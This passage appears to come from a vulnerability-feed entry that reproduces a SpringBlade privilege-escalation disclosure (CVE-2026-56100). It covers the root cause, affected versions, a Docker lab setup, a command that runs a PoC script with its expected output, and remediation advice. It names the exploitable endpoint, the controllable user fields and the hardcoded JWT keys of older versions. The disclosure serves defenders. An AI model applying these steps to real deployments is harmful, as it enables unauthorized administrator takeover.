below.\n\n```bash\n# MySQL (use blade.mysql.all.create.sql for v4.x; mount blade-saber-mysql.sql for v3.x/2.x)\ndocker run -d --name sb-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=blade \\\n  -p 3307:3306 -v \"$PWD/doc/sql/blade/blade.mysql.all.create.sql:/docker-entrypoint-initdb.d/01.sql:ro\" mysql:8.0\n# Redis\ndocker run -d --name sb-redis -p 6380:6379 redis:7\n# Nacos (standalone; base64 -w0 avoids line wrapping in the token; nacos client 1.4.x ~ 2.x verified compatible with the 3.1.0 server)\nNACOS_TOKEN=$(printf %s 'SecretKey012345678901234567890123456789012345678901234567890123456789' | base64 -w0)\ndocker run -d --name sb-nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 \\\n  -e MODE=standalone -e NACOS_AUTH_ENABLE=false \\\n  -e NACOS_AUTH_TOKEN=\"$NACOS_TOKEN\" \\\n  -e NACOS_AUTH_IDENTITY_KEY=serverIdentity -e NACOS_AUTH_IDENTITY_VALUE=security \\\n  nacos/nacos-server:v3.1.0\n```\n\n### 9.4 Start the Services\n\n```bash\nSIGN_KEY='springblade-vuln-sign-key-20260528-32chars'   # required explicitly for v3.6.0 ~ v4.10.0 (\u226532 chars)\n# User service (blade-system:8106 from v4.2.0; blade-user for 2.7.3~4.1.0, port configurable, e.g. 8102)\n# Note: SpringBlade's LauncherServiceImpl injects LauncherConstant.nacosAddr(dev)=127.0.0.1:8848 into System\n# properties. If nacos is not on localhost:8848, you MUST override with the CLI arg --spring.cloud.nacos.discovery.server-addr=.\njava -jar blade-service/blade-system/target/blade-system.jar \\\n  --spring.profiles.active=dev --server.port=8106 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.datasource.dev.url='jdbc:mysql://127.0.0.1:3307/blade?useSSL=false&amp;amp;allowPublicKeyRetrieval=true&amp;amp;characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai' \\\n  --blade.datasource.dev.username=root --blade.datasource.dev.password=root \\\n  --spring.data.redis.host=127.0.0.1 --spring.data.redis.port=6380\n# Note: for MySQL 8's caching_sha2_password you MUST add allowPublicKeyRetrieval=true (without it the service crashes on startup)\n# For 2.7.3 ~ v3.5.0 use --spring.redis.host/port; from v3.6.0 use --spring.data.redis.host/port\n\n# blade-gateway (port 18080; locator is enabled by default in bootstrap.yml)\njava -jar blade-gateway/target/blade-gateway.jar \\\n  --spring.profiles.active=dev --server.port=18080 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.token.sign-key=\"$SIGN_KEY\"\n# Gateways for 2.7.3 ~ v3.5.0 do NOT need --blade.token.sign-key (key is hardcoded, see \u00a76.4)\n```\n\n&amp;gt; In WSL2/container environments, replace `java -jar` with `docker run -d --network host -v :/app/app.jar eclipse-temurin:8-jre(or :17-jre) java -jar /app/app.jar `.\n\n### 9.5 Run the PoC and Verify\n\n```bash\nPOC_GATEWAY_URL=http://127.0.0.1:18080 POC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY=\"$SIGN_KEY\" POC_MYSQL_CONTAINER=sb-mysql \\\npython3 poc/src/springblade_service_auth_bypass_poc.py\n# For 2.7.3 ~ 4.1.0 change to POC_PATH_PREFIX=/blade-user, key per \u00a76.4 ('Blade' for 2.7.3)\n```\n\nExpected key output (matches the verified v4.10.0 run):\n```text\n[*] No-token control status: 401 {\"msg\":\"\u7f3a\u5931\u4ee4\u724c,\u9274\u6743\u5931\u8d25\",...}\n[*] Exploit status: 200 {\"code\":200,\"success\":true,\"data\":true,\"msg\":\"\u64cd\u4f5c\u6210\u529f\"}\n[*] Database row:  000000 poc_ poc-report-plain 1123598816738675201 ... \n[+] Vulnerability reproduced: low-privilege JWT reached save-user and created a user.\n```\n\n&amp;gt; **Control group (fixed v5.0.0, verified statically)**: the `saveUser` endpoint is removed, so the same request returns `404 \u6ca1\u627e\u5230\u8bf7\u6c42`; internal `/feign/...` is intercepted by `InnerFilter` returning `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`.\n\n---\n\n## 10. Remediation Recommendations\n\n1. **Upgrade to `v5.0.0` or later** (including the latest `v5.0.1` / master).\n2. (If upgrading is not possible) **Do not use a Feign implementation class as an externally reachable `@RestController`**: move internal Feign endpoints to a separate `servlet path` (e.g. `/internal/`) and uniformly intercept `/internal`, `/feign`-style prefixes at the gateway layer.\n3. For internal user-creation endpoints, **enforce service-to-service authentication** (internal-call tokens / mTLS / source-IP whitelist) and add strict `@PreAuth` checks.\n4. **Consolidate business flows**: even for service-to-service calls, do not directly `service.save` an externally controllable entity; uniformly reuse the business entry that has tenant binding, password encryption, and uniqueness checks (e.g. `userService.submit`).\n5. In production, **disable discovery locator** and switch to explicit route whitelists, configuring per-route authentication policies.\n6. Apply a **field whitelist** to the `User` creation endpoint, forbidding ordinary requests from controlling high-risk fields such as `tenantId`, `roleId`, `deptId`, `postId`.\n\n### Common Mitigation Misconceptions (Seemingly Fixed but Still Bypassable)\n\n- **Assuming `@Hidden` hides the endpoint**: `@Hidden` only affects springdoc-openapi documentation generation; once a Spring MVC route is registered it cannot be revoked (see \u00a76.3)\u2014hidden does not mean unreachable.\n- **Assuming adding `@RestController` provides authentication**: the path inherits from the `IUserClient` Feign interface, and **the Feign interface itself performs no permission checks**; if a user only adds `@PreAuth` inside that controller but forgets gateway identity verification, the same endpoint is still bypassed.\n- **Only intercepting `RequestFilter`**: some deployments assume removing `RequestFilter` makes them safe\u2014that's wrong; the discovery locator's default `RewritePath` still strips the service name (see \u00a72.1/\u00a75). The fix must **also disable the locator** or **add an internal-endpoint blacklist at the gateway**.\n- **Relying on gateway token validation (passing as long as `parseJWT` works)**: verifying the signature without verifying semantics (tenant/role/user correspondence) amounts to \"trust anything carrying a valid JWT\"\u2014which is exactly the core of this vulnerability.\n\n---\n\n## 11. References\n\n- Official repository: Gitee `https://gitee.com/smallc/SpringBlade`; GitHub mirror `https://github.com/chillzhuang/SpringBlade`\n- Affected versions: **2.7.3 &amp;lt; v5.0.0 (all versions before the fix)**; the last affected tag in the repository is `v4.10.0` (`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`, 2026-05-10; 2.7.3 commit `503c853`, 2020-09-14)\n- Fix introduced in: `v5.0.0` (tag `c69b9547c942c697da2f3ee6a9265b6004abd645`, 2026-07-30)\n- CVE: **CVE-2026-56100**\n- Official developer manual: `https://gitee.com/smallc/SpringBlade/wikis/SpringBlade\u5f00\u53d1\u624b\u518c`\n\n---\n\n*This document is for security research / vulnerability disclosure. Do not use it against real targets or projects without authorization. Apply mitigations to affected systems before the fix.*\n\n**Disclosure Information**:\n- Severity rating: High (CVSS 8.1)\n- CVE-2026-56100 assigned\n- Affects 2.7.3 through all versions before v5.0.0 (2020-09-14 ~ 2026-05-10, v4.10.0 being the last affected tag); fixed in v5.0.0\n", "creation_timestamp": "2026-08-28T08:28:59.899850Z"}</description>
      <content:encoded>{"uuid": "bb30f1dc-59cf-4d79-a785-f82a431a58e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-56100", "type": "seen", "source": "https://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059", "content": "# SpringBlade \u63d0\u6743\u6f0f\u6d1e\u62ab\u9732\uff08CVE-2026-56100 / Privilege Escalation\uff09\n\n&amp;gt; **\u4efb\u610f\u51ed\u8bc1\u7528\u6237 \u2192 \u7cfb\u7edf\u7ba1\u7406\u5458\u63d0\u6743**\uff08\u7ecf\u7531\u5185\u90e8 Feign REST \u63a7\u5236\u5668\u8d8a\u6743\u8bbf\u95ee\uff09\n&amp;gt;\n&amp;gt; **CVE-2026-56100** \uff5c \u7c7b\u578b\uff1a\u6743\u9650\u63d0\u5347\uff08Privilege Escalation\uff09\uff5c \u5371\u5bb3\u7b49\u7ea7\uff1a**\u9ad8\u5371** \uff5c CVSS 3.0\uff1a**8.1**\n&amp;gt;\n&amp;gt; CVSS Vector\uff1a`CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`\n\n---\n\n## \u76ee\u5f55\n\n0. [TL;DR\uff08\u6458\u8981\uff09](#0-tldr\u6458\u8981)\n1. [\u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f](#1-\u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f)\n2. [\u5f71\u54cd\u7248\u672c](#2-\u5f71\u54cd\u7248\u672c)\n3. [\u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6](#3-\u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6)\n4. [\u6f0f\u6d1e\u5371\u5bb3](#4-\u6f0f\u6d1e\u5371\u5bb3)\n5. [\u6280\u672f\u5206\u6790 / \u6839\u672c\u539f\u56e0](#5-\u6280\u672f\u5206\u6790--\u6839\u672c\u539f\u56e0)\n6. [\u4ee3\u7801\u8bc1\u636e\uff08\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8\uff09](#6-\u4ee3\u7801\u8bc1\u636e\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8)\n7. [\u4fee\u590d\u60c5\u51b5](#7-\u4fee\u590d\u60c5\u51b5)\n8. [\u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\uff08\u5b8c\u6574 PoC\uff09](#8-\u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\u5b8c\u6574-poc)\n9. [\u73af\u5883\u642d\u5efa\uff08\u4ece\u96f6\u5230\u590d\u73b0\uff09](#9-\u73af\u5883\u642d\u5efa\u4ece\u96f6\u5230\u590d\u73b0)\n10. [\u4fee\u590d\u5efa\u8bae](#10-\u4fee\u590d\u5efa\u8bae)\n11. [\u53c2\u8003\u8d44\u6599](#11-\u53c2\u8003\u8d44\u6599)\n\n---\n\n## 0. TL;DR\uff08\u6458\u8981\uff09\n\nSpringBlade\uff08SpringBlade \u5fae\u670d\u52a1\u7248\uff0cJava \u540e\u7aef\uff09\u5728\u7f51\u5173 `blade-gateway` \u4e2d\u5f00\u542f\u4e86**\u57fa\u4e8e\u670d\u52a1\u53d1\u73b0\u7684\u52a8\u6001\u8def\u7531**\uff08discovery locator\uff09\uff0c\u5e76\u5728\u9274\u6743\u65f6**\u4ec5\u6821\u9a8c JWT \u662f\u5426\u80fd\u89e3\u6790\u6210\u529f\uff0c\u672a\u6821\u9a8c\u7528\u6237\u89d2\u8272 / \u670d\u52a1\u95f4\u8c03\u7528\u8eab\u4efd / \u5185\u90e8 Feign \u63a5\u53e3\u8bbf\u95ee\u7b56\u7565**\u3002\u540c\u65f6\uff0c\u4e0b\u6e38\u7528\u6237\u670d\u52a1\u6a21\u5757\u4e2d\uff0c\u672c\u5e94\u4ec5\u4f9b\u5fae\u670d\u52a1\u95f4 Feign \u8c03\u7528\u7684 `UserClient` \u5b9e\u73b0\u7c7b\u88ab `@RestController` \u6807\u8bb0\u66b4\u9732\u4e3a\u666e\u901a HTTP \u5165\u53e3\uff0c\u5176\u4e2d `saveUser` \u65b9\u6cd5**\u65e0\u4efb\u4f55 `@PreAuth` \u6743\u9650\u6821\u9a8c**\uff0c\u5e76\u76f4\u63a5\u8c03\u7528 `service.save(user)` \u5c06\u8bf7\u6c42\u4f53\u4e2d\u7684\u7528\u6237\u5bf9\u8c61 1:1 \u6301\u4e45\u5316\u3002\n\n**\u540e\u679c**\uff1a\u4efb\u4f55\u6301\u6709**\u4efb\u610f\u6709\u6548 JWT** \u7684\u4f4e\u6743\u9650\u7528\u6237\uff0c\u90fd\u53ef\u7ecf\u7f51\u5173\u6784\u9020 `POST /blade-user/user/save-user`\uff082.7.3 ~ 4.1.0\uff09\u6216 `POST /blade-system/user/save-user`\uff08v4.2.0 \u8d77\uff09\uff0c\u76f4\u63a5\u8c03\u7528\u4e0b\u6e38\u5185\u90e8\u7528\u6237\u521b\u5efa\u63a5\u53e3\uff0c**\u5728\u653b\u51fb\u8005\u5b8c\u5168\u53ef\u63a7 `tenantId` / `account` / `password` / `roleId` \u7b49\u5b57\u6bb5\u7684\u524d\u63d0\u4e0b\u521b\u5efa\u4e00\u4e2a\u8d85\u7ea7\u7ba1\u7406\u5458\uff08`administrator`\uff09\u8d26\u6237**\uff0c\u4e14**\u5bc6\u7801\u4ee5\u660e\u6587\u76f4\u63a5\u843d\u5e93**\uff08\u7ed5\u8fc7\u6b63\u5e38\u6d41\u7a0b\u4e2d\u7684 `DigestUtil.encrypt`\uff09\u3002\u653b\u51fb\u8005\u53ef\u501f\u6b64\u5b9e\u73b0\u666e\u901a\u7528\u6237 \u2192 \u7ba1\u7406\u5458\u63d0\u6743\u3001\u8de8\u79df\u6237\u6570\u636e\u6c61\u67d3\u4e0e\u957f\u671f\u540e\u95e8\u3002\n\n\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8e **2.7.3**\uff082020-09-14\uff0c`save-user` \u63a5\u53e3\u9996\u6b21\u5f15\u5165\uff09\u8d77\u76f4\u81f3 **v5.0.0 \u4e4b\u524d\u7684\u6240\u6709\u7248\u672c**\uff08\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a `v4.10.0`\uff0c2026-05-10\uff09\uff0c\u5e76\u5728 **`v5.0.0` \u5df2\u88ab\u5b98\u65b9\u4fee\u590d**\uff08`CVE-2026-56100`\uff09\u3002\n\n---\n\n## 1. \u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f\n\n| \u5b57\u6bb5 | \u5185\u5bb9 |\n|---|---|\n| **\u6f0f\u6d1e\u540d\u79f0** | SpringBlade \u63d0\u6743\u6f0f\u6d1e\uff08Privilege Escalation\uff0c\u6e90\u4e8e\u670d\u52a1\u95f4\u9274\u6743\u7ed5\u8fc7\uff09 |\n| **CVE \u7f16\u53f7** | **CVE-2026-56100** |\n| **\u4ea7\u54c1 / \u5382\u5546** | SpringBlade\uff08\u5f00\u6e90\u5fae\u670d\u52a1\u5f00\u53d1\u5e73\u53f0\uff0c\u57fa\u4e8e Spring Boot / Spring Cloud Alibaba / MyBatis-Plus\uff09 |\n| **\u7ec4\u4ef6** | `blade-gateway`\uff08\u7f51\u5173\uff09+ `blade-system`/`blade-user`\uff08\u7528\u6237\u670d\u52a1\uff09 |\n| **\u53d7\u5f71\u54cd\u7248\u672c** | **2.7.3 &amp;lt; v5.0.0\uff08\u4fee\u590d\u7248\u672c\u4e4b\u524d\u7684\u6240\u6709\u7248\u672c\uff09**\uff08\u4f4e\u8fb9\u754c\u89c1 \u00a72 \u5206\u6790\uff1b2.7.3 / v3.0.0 / v3.1.0 / v4.10.0 \u5df2\u5b9e\u6d4b\u590d\u73b0\uff09 |\n| **\u9996\u4e2a\u4fee\u590d\u7248\u672c** | **v5.0.0** |\n| **\u98ce\u9669\u7b49\u7ea7** | \u9ad8\u5371 |\n| **CVSS 3.0** | 8.1 |\n| **CVSS Vector** | `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **\u653b\u51fb\u8def\u5f84** | \u7f51\u7edc\uff08\u8fdc\u7a0b\uff09 |\n| **\u5229\u7528\u590d\u6742\u5ea6** | \u4f4e |\n| **\u6240\u9700\u6743\u9650** | \u4f4e\u6743\u9650\uff08\u4efb\u610f\u5408\u6cd5 JWT\uff0c\u6216\u53ef\u83b7\u53d6\u7f51\u5173\u7b7e\u540d\u5bc6\u94a5\u540e\u4f2a\u9020\uff09 |\n| **\u7528\u6237\u4ea4\u4e92** | \u65e0 |\n| **\u5229\u7528\u540e\u5f71\u54cd** | \u5b8c\u5168\u63d0\u6743\u81f3\u7ba1\u7406\u5458\u3001\u8de8\u79df\u6237\u6570\u636e\u6c61\u67d3\u3001\u8d26\u53f7\u4f53\u7cfb\u7834\u574f\u3001\u660e\u6587\u5bc6\u7801\u843d\u5e93 |\n\n---\n\n## 2. \u5f71\u54cd\u7248\u672c\n\n### 2.1 \u5f71\u54cd\u7248\u672c\u8303\u56f4\n\n| \u7248\u672c | `saveUser` \u5199\u63a5\u53e3 | \u7f51\u5173\u8def\u5f84\u5265\u79bb\u673a\u5236 | \u662f\u5426\u53d7\u5f71\u54cd |\n|---|---|---|---|\n| v2.0.0 ~ v2.7.2 | **\u65e0** | locator \u9ed8\u8ba4 `RewritePath` | \u274c \u4e0d\u53d7\u5f71\u54cd\uff08\u65e0\u5199\u63a5\u53e3\uff09 |\n| **2.7.3**\uff082020-09-14\uff09 | \u6709\uff08\u9996\u6b21\u5f15\u5165\uff09 | locator \u9ed8\u8ba4 `RewritePath` | \u2705 **\u53d7\u5f71\u54cd\uff08\u9996\u4e2a\u53ef\u5229\u7528\u7248\u672c\uff0c\u5df2\u5b9e\u6d4b\uff09** |\n| 2.8.0 ~ v3.0.1 | \u6709 | locator \u9ed8\u8ba4 `RewritePath` | \u2705 **\u53d7\u5f71\u54cd**\uff08v3.0.0 \u5df2\u5b9e\u6d4b\uff09 |\n| v3.0.2 ~ v4.10.0 | \u6709 | locator \u9ed8\u8ba4 `RewritePath` + \u81ea\u7814 `RequestFilter`\uff08v3.0.2 \u5f15\u5165\uff09 | \u2705 **\u53d7\u5f71\u54cd**\uff08v3.1.0 / v4.10.0 \u5df2\u5b9e\u6d4b\uff09 |\n| **v5.0.0 / v5.0.1** | **\u5df2\u79fb\u9664** | \u6539 `InnerFilter`\uff08403 \u62e6\u622a\uff09 | \u2705 **\u5df2\u4fee\u590d\uff08\u5df2\u9759\u6001\u6838\u5b9e\uff09** |\n\n- **\u6700\u4f4e\u53d7\u5f71\u54cd\u7248\u672c\uff1a2.7.3** \u2014\u2014 `save-user` \u5199\u63a5\u53e3\u4e8e 2.7.3.RELEASE\uff08commit `503c853`\uff0c2020-09-14\uff09\u9996\u6b21\u5f15\u5165\uff1b2.7.2 \u53ca\u4e4b\u524d\u7684 `UserClient` \u4ec5\u6709 `userInfo` / `userAuthInfo` \u67e5\u8be2\u63a5\u53e3\u3002\n- **\u5173\u4e8e\"\u7f51\u5173\u8def\u5f84\u5265\u79bb\"**\uff1aSpring Cloud Gateway \u7684 discovery locator \u4f1a\u4e3a\u6bcf\u4e2a\u670d\u52a1\u81ea\u52a8\u751f\u6210\u9ed8\u8ba4\u8def\u7531\u8fc7\u6ee4\u5668 `RewritePath '/'+serviceId+'/(?.*)' \u2192 '/${remaining}'`\uff08Hoxton / 2020.0.x \u65f6\u4ee3 SC Gateway 2.2.x / 3.0.x \u7684 `GatewayDiscoveryClientAutoConfiguration` \u5747\u5185\u7f6e\u8be5\u9ed8\u8ba4\u503c\uff0c\u5df2\u5728 2.2.6 / 3.0.1 / 3.0.3 \u5b57\u8282\u7801\u4e2d\u9010\u4e00\u6838\u5b9e\uff0c2.2.5 \u7531 2.7.3 \u5b9e\u6d4b\u590d\u73b0\u95f4\u63a5\u8bc1\u5b9e\uff09\u3002\u56e0\u6b64\u5373\u4f7f\u7f51\u5173**\u6ca1\u6709** SpringBlade \u81ea\u7814\u7684 `RequestFilter`\uff08v3.0.2 \u624d\u5f15\u5165\uff09\uff0c\u5916\u90e8\u8bf7\u6c42 `/blade-user/user/save-user` \u4e5f\u4f1a\u88ab locator \u9ed8\u8ba4\u8fc7\u6ee4\u5668\u6539\u5199\u4e3a `/user/save-user` \u547d\u4e2d\u4e0b\u6e38\u5185\u90e8\u63a5\u53e3\u2014\u2014**v3.0.0\uff08\u65e0 `RequestFilter`\uff09\u5b9e\u6d4b\u590d\u73b0\u6210\u529f\u5373\u4e3a\u76f4\u63a5\u8bc1\u636e**\u3002`RequestFilter` \u5e76\u975e\u6f0f\u6d1e\u94fe\u8def\u7684\u5fc5\u8981\u73af\u8282\u3002\n- **\u6700\u9ad8\u53d7\u5f71\u54cd\u7248\u672c\uff1av4.10.0 ~ v5.0.0 \u4e4b\u524d**\uff08\u4ed3\u5e93\u5185\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a v4.10.0\uff0c2026-05-10\uff1bv4.10.0 \u2192 v5.0.0 \u4e4b\u95f4 `saveUser` \u59cb\u7ec8\u5b58\u5728\uff0c\u552f\u4e00\u7684\u79fb\u9664\u52a8\u4f5c\u53d1\u751f\u5728 v5.0.0 \u90a3\u68f5\u4fee\u590d\u63d0\u4ea4\uff0c\u7ecf `git log -S` \u6838\u5b9e\uff09\u3002\u5b98\u65b9\u5df2\u5728 **v5.0.0** \u79fb\u9664\u8be5\u5199\u63a5\u53e3\u5e76\u65b0\u589e\u5185\u90e8\u63a5\u53e3\u62e6\u622a\uff0c\u6545 v5.0.0 \u8d77\u4e0d\u590d\u73b0\u3002\n\n### 2.2 \u53d7\u5f71\u54cd\u6e90\u7801\u5bf9\u5e94\n\n| \u53d7\u5f71\u54cd\u7248\u672c | \u7528\u6237\u670d\u52a1\u6a21\u5757 | \u7f51\u5173\u8def\u7531\u524d\u7f00 | JWT \u7b7e\u540d\u5bc6\u94a5 |\n|---|---|---|---|\n| 2.7.3 | `blade-user` | `/blade-user/...` | \u786c\u7f16\u7801 `\"Blade\"`\uff08\u89c1 \u00a76.4\uff09 |\n| 2.8.0 ~ v3.5.0 | `blade-user` | `/blade-user/...` | \u786c\u7f16\u7801 `\"bladex...commercialproject\"`\uff08\u89c1 \u00a76.4\uff09 |\n| v3.6.0 ~ 4.1.0 | `blade-user` | `/blade-user/...` | \u914d\u7f6e\u9879 `blade.token.sign-key`\uff08\u226532 \u4f4d\uff0c\u7f51\u5173\u542f\u52a8\u5f3a\u5236\uff09 |\n| v4.2.0 ~ v4.10.0 | `blade-system`\uff08`blade-user` \u6a21\u5757\u4e8e v4.2.0 \u5e76\u5165\uff09 | `/blade-system/...` | \u914d\u7f6e\u9879 `blade.token.sign-key` |\n\n---\n\n## 3. \u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6\n\n\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\u7684\u90e8\u7f72\u5373\u5b58\u5728\u53ef\u5229\u7528\u98ce\u9669\uff1a\n\n1. \u76ee\u6807\u4e3a **SpringBlade \u5fae\u670d\u52a1\u7248**\uff0c\u5e76\u5bf9\u5916\u66b4\u9732\u4e86 `blade-gateway` \u7f51\u5173\u7ec4\u4ef6\uff08\u542b `blade-system`/`blade-user` \u6ce8\u518c\u5728\u540c\u4e00\u4e2a\u670d\u52a1\u53d1\u73b0\u4e2d\u5fc3\uff0c\u5982 Nacos\uff09\u3002\n2. \u7f51\u5173\u5f00\u542f\u4e86 **\u670d\u52a1\u53d1\u73b0\u52a8\u6001\u8def\u7531**\uff08`spring.cloud.gateway.server.webflux.discovery.locator.enabled=true`\uff0c\u4e3a\u9ed8\u8ba4/\u5e38\u89c1\u914d\u7f6e\uff09\u3002\n3. \u653b\u51fb\u8005\u6ee1\u8db3\u5176\u4e00\uff1a\n   - \u6301\u6709**\u4efb\u610f\u4e00\u4e2a\u7f51\u5173\u8ba4\u53ef\u7684\u6709\u6548 JWT**\uff08\u5373\u4f7f\u662f\u6700\u4f4e\u6743\u9650\u666e\u901a\u7528\u6237 token\uff09\uff1b**\u6216**\n   - \u83b7\u77e5\u7f51\u5173\u7684 **JWT \u7b7e\u540d\u5bc6\u94a5** \u540e\u81ea\u884c\u4f2a\u9020\u6709\u6548 JWT\uff082.7.3 ~ v3.5.0 \u5bc6\u94a5\u786c\u7f16\u7801\u5728\u516c\u5f00 JAR \u4e2d\u53ef\u76f4\u63a5\u63d0\u53d6\uff1bv3.6.0 \u8d77\u6539\u4e3a\u914d\u7f6e\u9879\uff0c\u89c1 \u00a76.4\uff09\u3002\n\n&amp;gt; \u5373\uff1a\u5229\u7528\u95e8\u69db\u6781\u4f4e\uff0c\u53ea\u9700\u6709\u4e00\u4e2a\u666e\u901a\u767b\u5f55\u8d26\u53f7\u5373\u53ef\u3002\n\n---\n\n## 4. \u6f0f\u6d1e\u5371\u5bb3\n\n\u653b\u51fb\u8005\u5229\u7528\u672c\u6f0f\u6d1e\u53ef\u4ee5\u76f4\u63a5\uff1a\n\n1. **\u5b8c\u5168\u8d8a\u6743\uff08Role/Data Privilege Escalation\uff09**\uff1a\u4f2a\u9020 `tenantId`\u3001`account`\u3001`password`\u3001`roleId`\u3001`deptId`\u3001`postId` \u7b49\u5b57\u6bb5\u6765\u521b\u5efa**\u5e26 `administrator` \u8d85\u7ea7\u7ba1\u7406\u5458\u89d2\u8272**\u7684\u8d26\u6237\uff0c\u5b9e\u73b0\u666e\u901a\u7528\u6237 \u2192 \u7cfb\u7edf\u7ba1\u7406\u5458\u63d0\u6743\u3002\n2. **\u65c1\u8def\u7ba1\u63a7\u9762\u6821\u9a8c**\uff1a\u7ed5\u8fc7 `UserController.submit`\uff08`@PreAuth(HAS_ROLE_ADMIN)`\uff09\u7684\u7ba1\u7406\u5458\u6743\u9650\u6821\u9a8c\u3002\n3. ****\u4e0d\u5f53\u5904\u7406**\uff1a\u76f4\u63a5\u8c03\u7528\u5e95\u5c42 `service.save`\uff0c**\u8df3\u8fc7\u6b63\u5e38\u6d41\u7a0b\u4e2d\u7684\u5bc6\u7801\u52a0\u5bc6\uff08`DigestUtil.encrypt`\uff09\u4e0e\u79df\u6237\u7ed1\u5b9a/\u8d26\u53f7\u552f\u4e00\u6027\u6821\u9a8c**\uff0c\u660e\u6587\u5bc6\u7801\u76f4\u63a5\u843d\u5e93\uff0c\u6210\u4e3a\u957f\u671f\u540e\u95e8\u3002\n4. **\u8de8\u79df\u6237\u7834\u574f**\uff1a\u53ef\u4efb\u610f\u6307\u5b9a `tenantId`\uff0c\u6c61\u67d3\u5176\u4ed6\u79df\u6237\u6570\u636e\u3001\u7834\u574f\u79df\u6237\u9694\u79bb\u8fb9\u754c\u3002\n5. **\u6536\u5c3e\u80fd\u529b**\uff1a\u6301\u4e45\u63a7\u5236\u6574\u4e2a\u7cfb\u7edf\u7684\u8d26\u53f7\u4f53\u7cfb\u3002\n\n\u5f71\u54cd\u8303\u56f4\u4e0e\u4e25\u91cd\u5ea6\uff1a\u7531\u4e8e SpringBlade \u5728\u5927\u91cf\u4f01\u4e1a\u540e\u53f0\u7ba1\u7406\u9879\u76ee\u4e2d\u5e7f\u6cdb\u4f7f\u7528\uff0c\u6b64\u6f0f\u6d1e\u4f1a\u4e25\u91cd\u7834\u574f\u8d26\u53f7\u4f53\u7cfb\u4e0e\u79df\u6237\u9694\u79bb\u8fb9\u754c\uff0c\u8bc4\u7ea7\u4e3a**\u9ad8\u5371\uff08High\uff09**\u3002\n\n---\n\n## 5. \u6280\u672f\u5206\u6790\uff08\u6839\u672c\u539f\u56e0\uff09\n\n\u6f0f\u6d1e\u7531**\u7f51\u5173\u7684\u8def\u7531\u91cd\u5199 + \u7c97\u7c92\u5ea6\u8ba4\u8bc1 + \u4e0b\u6e38\u5185\u90e8 Feign \u63a7\u5236\u5668\u66b4\u9732**\u4e09\u5904\u7f3a\u9677\u53e0\u52a0\u9020\u6210\uff1a\n\n1. **\u8def\u7531\u66b4\u9732\u4e0e\u6539\u5199**\uff1a`blade-gateway` \u5f00\u542f discovery locator\uff0c\u5916\u90e8\u8bf7\u6c42 `POST /blade-system/user/save-user`\uff08\u6216\u65e7\u7248\u672c\u7684 `/blade-user/user/save-user`\uff09\u4f1a\u88ab\u5265\u79bb\u7b2c\u4e00\u4e2a\u8def\u5f84\u6bb5\uff08\u670d\u52a1\u540d\uff09\uff0c\u6539\u5199\u4e3a `/user/save-user` \u5e76\u8f6c\u53d1\u81f3\u4e0b\u6e38\u7528\u6237\u670d\u52a1\u3002\u8def\u5f84\u5265\u79bb\u7531\u4e24\u5904\u673a\u5236\u4e4b\u4e00\u5b8c\u6210\uff1a**discovery locator \u81ea\u52a8\u751f\u6210\u7684\u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668**\uff08\u6240\u6709\u53d7\u5f71\u54cd\u7248\u672c\u5747\u5b58\u5728\uff09\uff0c\u4ee5\u53ca v3.0.2 \u8d77 SpringBlade \u81ea\u7814\u7684 `RequestFilter`\uff08`.skip(1)`\uff0c\u6548\u679c\u4e0e\u524d\u8005\u91cd\u590d\uff09\u3002\u56e0\u6b64\u8be5\u66b4\u9732\u9762\u81ea `save-user` \u63a5\u53e3\u8bde\u751f\u7684 2.7.3 \u8d77\u5373\u5b58\u5728\u3002\n2. **\u7f51\u5173\u9274\u6743\u4e0d\u8db3**\uff1a\u7f51\u5173 `AuthFilter` \u4ec5\u901a\u8fc7 `JwtUtil.parseJWT(token)` \u9a8c\u8bc1 Token \u80fd\u5426\u89e3\u6790\u6210\u529f\uff0c**\u6ca1\u6709\u6821\u9a8c\u7528\u6237\u89d2\u8272\u3001\u7ba1\u7406\u6743\u9650\u3001Feign \u5ba2\u6237\u7aef\u8eab\u4efd**\uff0c\u4e5f\u672a\u5bf9\u5185\u90e8\u63a5\u53e3\u8def\u5f84\u505a\u4efb\u4f55\u9ed1\u767d\u540d\u5355 / \u6765\u6e90\u6821\u9a8c\u3002\n3. **\u5185\u90e8\u670d\u52a1\u8fb9\u754c\u672a\u8bbe\u9632**\uff1a`blade-system` \u6a21\u5757\u4e2d\u7684 `UserClient` \u672c\u662f Feign \u5b9e\u73b0\u7c7b\uff0c\u4f46\u540c\u65f6\u88ab `@RestController` \u6807\u6ce8\u4e14\u5bf9\u5916\u66b4\u9732\u666e\u901a HTTP \u5165\u53e3\uff1b\u5176 `saveUser` \u65b9\u6cd5**\u65e0 `@PreAuth`**\uff0c\u76f4\u63a5\u8c03\u7528 `service.save(user)` 